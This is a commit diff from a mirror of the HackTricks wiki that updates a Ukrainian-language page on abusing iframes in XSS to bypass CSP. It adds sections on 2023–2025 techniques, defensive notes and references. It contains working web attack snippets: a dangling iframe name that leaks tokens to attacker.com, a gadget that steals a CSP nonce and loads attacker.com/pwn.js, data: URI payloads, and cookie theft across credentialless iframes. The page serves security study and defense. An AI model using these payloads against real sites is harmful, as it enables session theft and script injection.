mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-
This commit is contained in:
parent
bb1c93785b
commit
05b47bd16a
@ -61,7 +61,7 @@ alert(parent.secret)
|
||||
<head>
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
|
||||
</head>
|
||||
<script>
|
||||
var secret = "31337s3cr37t"
|
||||
@ -83,7 +83,7 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
|
||||
|
||||
Отже, можливо **обійти CSP, якщо ви можете завантажити JS файл на сервер і завантажити його через iframe, навіть з `script-src 'none'`**. Це **можливо також зробити, зловживаючи кінцевою точкою JSONP того ж сайту**.
|
||||
|
||||
Ви можете протестувати це з наступним сценарієм, де куки викрадаються навіть з `script-src 'none'`. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:
|
||||
Ви можете протестувати це з наступним сценарієм, де кукі вкрадено, навіть з `script-src 'none'`. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:
|
||||
```python
|
||||
import flask
|
||||
from flask import Flask
|
||||
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
### Інші Payloads, знайдені в дикій природі <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
#### Нові (2023-2025) техніки обходу CSP з використанням iframe
|
||||
|
||||
Дослідницька спільнота продовжує знаходити креативні способи зловживання iframe для подолання обмежувальних політик. Нижче ви можете знайти найбільш помітні техніки, опубліковані за останні кілька років:
|
||||
|
||||
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – Коли додаток відображає HTML, але сильний CSP блокує виконання скриптів, ви все ще можете витікати чутливі токени, інжектуючи *dangling* `<iframe name>` атрибут. Як тільки частковий розмітка буде проаналізована, скрипт зловмисника, що працює в іншому походженні, перенаправляє фрейм на `about:blank` і читає `window.name`, який тепер містить все до наступного символу лапок (наприклад, CSRF токен). Оскільки жоден JavaScript не виконується в контексті жертви, атака зазвичай обходить `script-src 'none'`. Мінімальний PoC:
|
||||
|
||||
```html
|
||||
<!-- Точка інжекції безпосередньо перед чутливим <script> -->
|
||||
<iframe name="//attacker.com/?"> <!-- атрибут навмисно залишено відкритим -->
|
||||
````
|
||||
```javascript
|
||||
// attacker.com frame
|
||||
const victim = window.frames[0];
|
||||
victim.location = 'about:blank';
|
||||
console.log(victim.name); // → витік значення
|
||||
```
|
||||
|
||||
* **Крадіжка nonce через iframe з однаковим походженням (2024)** – CSP nonce не видаляються з DOM; вони лише приховані в DevTools. Якщо зловмисник може інжектувати *iframe з однаковим походженням* (наприклад, завантажуючи HTML на сайт), дочірній фрейм може просто запитати `document.querySelector('[nonce]').nonce` і створити нові `<script nonce>` вузли, які задовольняють політику, забезпечуючи повне виконання JavaScript, незважаючи на `strict-dynamic`. Наступний гаджет ескалює інжекцію розмітки в XSS:
|
||||
|
||||
```javascript
|
||||
const n = top.document.querySelector('[nonce]').nonce;
|
||||
const s = top.document.createElement('script');
|
||||
s.src = '//attacker.com/pwn.js';
|
||||
s.nonce = n;
|
||||
top.document.body.appendChild(s);
|
||||
```
|
||||
|
||||
* **Перехоплення form-action (PortSwigger 2024)** – Сторінка, яка пропускає директиву `form-action`, може мати свою форму входу *перенаправлену* з інжектованого iframe або вбудованого HTML, так що менеджери паролів автоматично заповнюють і надсилають облікові дані на зовнішній домен, навіть коли присутній `script-src 'none'`. Завжди доповнюйте `default-src` директивою `form-action`!
|
||||
|
||||
**Оборонні нотатки (швидкий контрольний список)**
|
||||
|
||||
1. Завжди надсилайте *всі* директиви CSP, які контролюють вторинні контексти (`form-action`, `frame-src`, `child-src`, `object-src` тощо).
|
||||
2. Не покладайтеся на те, що nonce є секретними — використовуйте `strict-dynamic` **і** усувайте точки інжекції.
|
||||
3. Коли ви повинні вбудовувати ненадійні документи, використовуйте `sandbox="allow-scripts allow-same-origin"` **дуже обережно** (або без `allow-same-origin`, якщо вам потрібна лише ізоляція виконання скриптів).
|
||||
4. Розгляньте впровадження COOP+COEP в глибину; новий атрибут `<iframe credentialless>` (§ нижче) дозволяє вам це зробити без порушення вбудовувань третіх сторін.
|
||||
|
||||
### Інші Payloads, знайдені в дикій природі <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
|
||||
```html
|
||||
<!-- This one requires the data: scheme to be allowed -->
|
||||
<iframe
|
||||
@ -119,29 +155,37 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
|
||||
|
||||
Вміст в iframe може підлягати додатковим обмеженням за допомогою атрибута `sandbox`. За замовчуванням цей атрибут не застосовується, що означає, що обмеження не діють.
|
||||
|
||||
Коли використовується, атрибут `sandbox` накладає кілька обмежень:
|
||||
При використанні атрибут `sandbox` накладає кілька обмежень:
|
||||
|
||||
- Вміст розглядається так, ніби він походить з унікального джерела.
|
||||
- Будь-яка спроба надсилання форм блокується.
|
||||
- Виконання скриптів заборонено.
|
||||
- Доступ до певних API вимкнено.
|
||||
- Запобігає взаємодії посилань з іншими контекстами перегляду.
|
||||
- Доступ до певних API відключено.
|
||||
- Він запобігає взаємодії посилань з іншими контекстами перегляду.
|
||||
- Використання плагінів через `<embed>`, `<object>`, `<applet>` або подібні теги заборонено.
|
||||
- Навігація верхнього рівня контексту перегляду вмістом сама по собі заборонена.
|
||||
- Функції, які запускаються автоматично, такі як відтворення відео або автоматичне фокусування елементів форм, блокуються.
|
||||
- Автоматично активовані функції, такі як відтворення відео або автоматичне фокусування елементів форм, блокуються.
|
||||
|
||||
Значення атрибута можна залишити порожнім (`sandbox=""`), щоб застосувати всі вищезазначені обмеження. Альтернативно, його можна встановити на список специфічних значень, розділених пробілами, які звільняють iframe від певних обмежень.
|
||||
Tip: Сучасні браузери підтримують детальні прапорці, такі як `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation` тощо. Поєднуйте їх, щоб надати лише мінімальні можливості, необхідні вбудованому додатку.
|
||||
|
||||
Значення атрибута можна залишити порожнім (`sandbox=""`), щоб застосувати всі вищезгадані обмеження. Альтернативно, його можна встановити на список специфічних значень, розділених пробілами, які звільняють iframe від певних обмежень.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
|
||||
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
Як пояснено в [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), прапорець `credentialless` в iframe використовується для завантаження сторінки всередині iframe без відправки облікових даних у запиті, зберігаючи при цьому політику одного походження (SOP) завантаженої сторінки в iframe.
|
||||
|
||||
Це дозволяє iframe отримувати чутливу інформацію з іншого iframe в тому ж SOP, завантаженому на батьківській сторінці:
|
||||
Оскільки **Chrome 110 (лютий 2023) ця функція увімкнена за замовчуванням** і специфікація стандартизована в різних браузерах під назвою *anonymous iframe*. MDN описує це як: “механізм для завантаження iframe третьої сторони в абсолютно нову, епhemeral storage partition, щоб жодні куки, localStorage або IndexedDB не ділилися з реальним походженням”. Наслідки для атакуючих і захисників:
|
||||
|
||||
* Скрипти в різних credentialless iframes **все ще ділять одне й те саме верхнє походження** і можуть вільно взаємодіяти через DOM, що робить атаки multi-iframe self-XSS можливими (див. PoC нижче).
|
||||
* Оскільки мережа **позбавлена облікових даних**, будь-який запит всередині iframe фактично поводиться як неавтентифікована сесія – захищені CSRF кінцеві точки зазвичай не проходять, але публічні сторінки, які можна витікати через DOM, все ще в межах досяжності.
|
||||
* Вікна, що з'являються з credentialless iframe, отримують неявний `rel="noopener"`, що порушує деякі потоки OAuth.
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
// PoC: two same-origin credentialless iframes stealing cookies set by a third
|
||||
window.top[1].document.cookie = 'foo=bar'; // write
|
||||
alert(window.top[2].document.cookie); // read -> foo=bar
|
||||
```
|
||||
- Приклад експлуатації: Self-XSS + CSRF
|
||||
|
||||
@ -165,7 +209,7 @@ document.forms[0].submit();
|
||||
|
||||
- Інший iframe, в якому насправді користувач увійшов в систему (без прапора `credentialless`).
|
||||
|
||||
Тоді, з XSS, можливо отримати доступ до іншого iframe, оскільки вони мають одну і ту ж SOP, і вкрасти кукі, наприклад, виконавши:
|
||||
Тоді, з XSS, можливо отримати доступ до іншого iframe, оскільки вони мають одну SOP, і вкрасти кукі, наприклад, виконавши:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
@ -201,4 +245,10 @@ fetchLater(req,{activateAfter: timeout})
|
||||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Посилання
|
||||
|
||||
* [PortSwigger Research – Використання захоплення форм для обходу CSP (березень 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
|
||||
* [Chrome Developers – Iframe без облікових даних: Легко вбудовувати iframes в середовища COEP (лютий 2023)](https://developer.chrome.com/blog/iframe-credentialless)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user